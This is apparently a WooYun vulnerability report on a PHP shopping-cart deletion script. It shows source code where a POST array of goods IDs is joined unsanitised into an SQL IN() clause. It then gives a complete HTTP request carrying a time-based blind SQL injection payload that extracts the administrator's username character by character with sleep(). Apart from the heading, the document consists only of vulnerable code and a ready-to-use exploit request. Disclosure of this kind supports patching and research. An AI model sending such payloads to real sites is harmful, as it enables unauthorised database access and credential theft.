WooYun.org

无关代码
if(empty($_POST)){
	$cart_id = intval(get_args('id'));
}else{
	$goods=get_args('goods');
	if (!$goods){
		action_return(1,$m_langpackage->m_del_select,'modules.php?app=user_cart');
	}
	$cart_id=implode(',',$goods);
}
$goods_id = is_array(get_args('goods_id'))?get_args('goods_id'):array(get_args('goods_id'));
//数据库操作
if ($user_id) {
	dbtarget('r',$dbServs);
	$dbo=new dbex();
	$sql = "select * from `$t_cart` where user_id='$user_id' and cart_id in($cart_id)";
	//echo $sql;
	//exit;
	$result = $dbo->getRs($sql);
	foreach ($result as $key=>$value){
		$car=get_session('cart');
		if (isset($car[$value['goods_id']])) {
			unset($car[$value['goods_id']]);
			set_session('cart',$car);
		}
	}
	if(!$result) {
		action_return(0,$m_langpackage->m_cartnotthis_goods);
	}
}elseif ((!$user_id)&&(!empty($goods_id))){
	foreach ($goods_id as $value){
		$car=get_session('cart');
		unset($car[$value]);
		set_session('cart',$car);
	}
}
无关代码

POST /do.php?act=user_cart_del HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://192.168.0.107/modules.php?app=user_favorite
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.107
Content-Length: 184
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: AJSTAT_ok_times=1; PHPSESSID=c8hhcsboh7fk3c43co6ik5m796; iweb_iweb_login=pigtest
goods%5B%5D=1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),2,1)='z',sleep(3),0)) 
and (1)=(1&deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4